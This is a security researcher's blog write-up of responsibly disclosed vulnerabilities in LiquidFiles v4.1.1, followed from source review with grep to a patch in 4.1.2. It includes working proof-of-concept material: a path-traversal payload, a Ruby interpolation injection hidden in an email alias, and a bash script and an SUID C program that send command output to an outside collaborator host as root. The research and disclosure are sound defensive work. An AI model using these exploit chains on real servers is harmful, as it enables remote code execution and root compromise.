LiquidFiles Vulnerabilities: From Discovery to Disclosure
Join us in my quest to find some vulnerabilities in the Liquidfiles application! A full walkthrough awaits detailing the methodology and the findings that made all the effort worthwhile.

Welcome to a slightly eccentric journey of self-discovery and good old grep-foo as I tackle LiquidFiles.
The Target
Our unsuspecting victim for today will be LiquidFiles v4.1.1.
Why LiquidFiles?
- It’s popular enough in Australia to spark curiosity, but not so widespread that finding issues becomes impossible.
- Trial VM images are available which let us tinker on our own host.
- Finally, LiquidFiles is written in Ruby, giving us the option of reviewing source code without messing around with decompilers.
So, shut down Reddit or TikTok, rally what’s left of your attention span, and let’s dig in - this might be a long one, but the payoff should be worth it!
Starting With Automation
We can start by using some automated tooling to hopefully catch us some juicy vulnerabilities with minimal effort. Semgrep OSS will be our tool of choice here.
We'll run a quick semgrep scan over the ruby source code and see what we find.

623 findings. This is going to take a while. For now we can focus our efforts on code injection results since RCE is so cool. Here's one that looks promising:

%x{}
is one way of running shell commands in Ruby, and #{}
interpolates the password into the command. If we could control the password parameter, maybe we could inject our own shell commands with syntax like ;
or $()
.
That shellescape
method looks interesting. I sure hope it doesn't shatter my dreams of RCE.

A quick visit to the Ruby docs confirms my suspicions. shellescape
will make sure its argument is treated as a single string in Bash.
We can use a Ruby REPL to see how this might affect our code injection attempts, using backticks to run shell code.

Luckily for me, shellescape
blocked the injection from being interpreted as extra shell commands and instead was treated as a single argument to echo
. Unluckily for me, this makes code injection much more difficult.
We can take the lazy way out and try to find any code injection points that don't use shellescape
.
Baby's First Vulnerability
Our search for the elusive RCE continues. Scrolling through the semgrep output leads us to a potential code injection with no shellescape
in sight.

A quick read of the source code shows that the function Sudo.exec
takes the command to execute as a parameter and doesn't call shellescape
.
def exec(command, options = {})
#snip
%x{#{sudo} #{user} #{command} #{stdout} #{stderr}}
#snip
end
lib/sudo.rb
Now to find somewhere that calls this code with user controllable input without shellescape
. Grep to the rescue!
def write_change(diskname)
Sudo.exec %{mkfs.ext4 -F /dev/#{diskname}}
#snip
end
lib/disk.rb
This is promising. The disk name is interpolated into the command without a shellescape
. Now we just need to find if / how this code can be accessed by a user.
There are a few ways we could do this.


Aimlessly poking around the admin pages on the web app leads us here.
Let's just straight up give this a go.
We can intercept the POST /system/disks/save
request that this page sends and add our injection to the use_disk
body parameter.



Pop the champagne! We've done it!
What severity rating should we give it? Only sysadmins can access the disk config to trigger this RCE. Sysadmins already have root access.
🤦
Let's see if we can find something with an actual security impact.
Baby's First CVE (Pending CNA)
Now we're warmed up and it seems our method for finding RCEs works, we just need to keep hunting.
Scrolling through more grep results for Sudo.exec
leads us to lib/actionscript.rb
. What's an ActionScript?

Looks like ActionScripts are custom executables that can be uploaded and set to run on certain events. Unfortunately only Sysadmins can add ActionScripts, but lower-level admins can still choose which ActionScript should be triggered for events.
Let's take a peek at the code.
def execute(parameters, environment = "")
#snip
actionscript_command = ""
#snip
actionscript_command += path
#snip
result = Sudo.exec actionscript_command, user: "_actionscript",
#snip
end
lib/actionscript.rb
The ActionScript seems to be called using a local path to an executable file. Note that path
here is actually a method call, not a variable (❤️Ruby).
See if you can spot the issue with the path
code:
def path
unless Dir.exist?(%{#{@domain.system_path.shellescape}/actionscripts/})
FileUtils.mkdir_p %{#{@domain.system_path.shellescape}/actionscripts/}
end
%{#{@domain.system_path.shellescape}/actionscripts/#{@script.to_s.shellescape}}
end
lib/actionscript.rb
If you recall, shellescape
will ensure the input is treated as a single string by Bash, meaning no simple code injection. However, path components are left untouched.

Now we just need to find somewhere in the webapp where a lower-level admin can set which ActionScript should be triggered on an event.

This setting will trigger the ActionScript when a member of the group being edited (Local Users in this case) sends a message. We can intercept the POST /admin/groups/local-users
request to add our traversal.

All we have to do now is send a message from a member of the Local Users group. Since we're an admin, we can just create a new account to use.

A quick look at the activity log shows that this works.

Nice, but not exactly exciting yet.
Doing Something Useful
Now that we're pretty sure we can run code on the server, we just need a way to run custom code. We need to upload executables onto the server. Since ActionScripts are executed by running the path directly, we'll also need to enable the executable permission on the uploaded file.
The FTPDrops feature has everything we need. I've enabled it with the secure user:pass
of a:a
.
Now let's upload a simple POC.
#!/usr/bin/env bash
curl -d "$(id)" https://t5zy7e12owfjd3j81wces4ew0n6eu6iv.oastify.com
Sends user ID to Burp Collaborator

I'll use the root SSH access I prepared earlier to verify that this works.

Looks good. Our upload will be deleted after a few minutes or after FTP logout, so we need to work quickly.
Repeat the last POST /admin/groups/local-users
intercept but use the path to the POC instead. In this case: ../../../../../../../data/ftpdrop/a/poc
When we send another message as a Local User, we should get a response back to Burp Collaborator with the ID of the executing user.

Nice! Looks like ActionScripts are executed as the _actionscript
user.
Before we move on to rooting this box, there is another method to achieve custom execution.
Bonus: Doing Something Useful II - The Sequel
So FTPDrops is disabled but you don't want to miss out on a juicy RCE? I've got you covered. 😉
If we can't upload our own executables then we'll just have to live off the land. We can run an executable that's already on the server and inject our code into that, but how can we do that without control over the parameters passed into the ActionScript?
If we actually RTFM we'll discover that message parameter action scripts are called with a JSON file as an argument. Here's what one looks like:
{
"message": {
"sender": null,
"expires_at": "2025-02-08",
"expires_after": 0,
"authorization": 3,
"size": null,
"subject": "Hello",
#snip
}
}
Yep, that's JSON alright
We need an executable that will take this JSON file and somehow run code we've injected into it.
If you're familiar with Ruby, you may notice that JSON could actually work as one of the ~10 different ways of writing hashes. Let's run it!

Ruby doesn't have the keyword null
. What if we could control a field before any nulls and add some string interpolation. Would ruby run our code before crashing?
We can change the sender
field and try again.
"#{`>&2 id`}"
Change sender
field to this

Sweet! The injected shell command is executed before ruby hits a null and crashes. Now we just need a way to control the sender
field.
A quick stroll around the user settings reveals an option for setting alternate sender addresses. Let's stuff our ruby injection in here and see what happens.

Shockingly, our 100% legit email has been rejected. The source code can tell us why.
EMAIL_REGEXP_MATCH = %r{\b[a-zA-Z0-9.!\#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*\b}x
Dev had a seizure here
The email validation regex seems oddly generous, so let's just try replacing the spaces. Backslashes aren't allowed so we'll have to be more creative than \x20
.
Converting 32
to a character then interpolating is the obvious choice here.

Apparently our email is valid. All we have to do now is test it.
We set the message parameter ActionScript just like before, but with a traversal to /bin/ruby
. When we send our message from the Local User we need to select our new alias.


Once the message is sent, our Ruby injection should trigger.

Root It
Since we now have custom code executing as the _actionscript
user, we may as well take it all the way.
Time to try the usual Linux local privilege escalation methods:
- Interesting readable / writable paths? ❌
- Custom SUID binaries? ❌
- Vulnerable services? ❌
- Sudoers?
root@liquidfiles411:~# cat /etc/sudoers.d/liquidfiles
#snip
_sfta ALL=(ALL) NOPASSWD: SETENV: ALL
liquidfiles ALL=(ALL) NOPASSWD: ALL
Passwords are for plebs
So _sfta
and liquidfiles
can use sudo
without a password. Unfortunately we only have execution as _actionscript
.
Or do we? 🤔
If you were paying attention, you might have noticed that the executables we were uploading earlier were owned by _sfta
.
How does that help us?
If we can upload executables and enable the SUID permission then we're in business. The SUID/SGID permissions on binaries let us run executables with the privileges of the file owner rather than the executing user.
So if our _actionscript
user runs the uploaded SUID binary, they can impersonate _sfta
, who just so happens to have sudo
access.
Let's cook up a spicy POC.
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setreuid(900, 900);
setregid(900, 900);
system("sudo bash -c 'curl -d \"$({ id & ls /; })\" https://okctm9gx3ruesyy3grr97ztrfil99zxo.oastify.com'");
return 0;
}
Back in my day POCs were written in C 👴
The SUID permission is ignored for scripts, so C is the way to go. Our code will try to set the real user and group IDs to 900 (_sfta
), then execute our payload with sudo
.
Time to compile and upload using FTP just like before. This time we set the permissions to 6777
to enable SUID/SGID.


Seems promising so far. Now we just need to set up our message parameter ActionScript traversal just like before.
Time to login as our Local User and send a message.

Burp Collaborator received the request and it looks like we're root. Groovy!
TL;DR
So in a reasonably short period of time we managed to find:
- A code injection RCE exploitable from the disk settings page by Sysadmins.
- A path traversal RCE exploitable by configuring ActionScripts to be triggered on events. Admin or higher privileges are required for this one. Awaiting CVE ID.
- A local privilege escalation to root by abusing FTP
chmod
, SUID binaries, andsudo
. Requires FTPDrop access. Awaiting CVE ID.
Disclosure Timeframe
- 9/01/2025 - Vulnerabilities discovered.
- 13/01/2025 - Vulnerabilities reported to LiquidFiles.
- 14/01/2025 - LiquidFiles patch released (Version 4.1.2).
- 13/02/2025 - Blog published.
What Did We Learn?
- You don't need any fancy tools or methodologies to find vulnerabilities. If you have grep and a couple brain cells to rub together, you too can find vulnerabilities.
- It can be a slow process. Automated tools will eat all the low hanging fruit, so if the app you're testing is reasonably popular then you might need to put in some hours (and tears).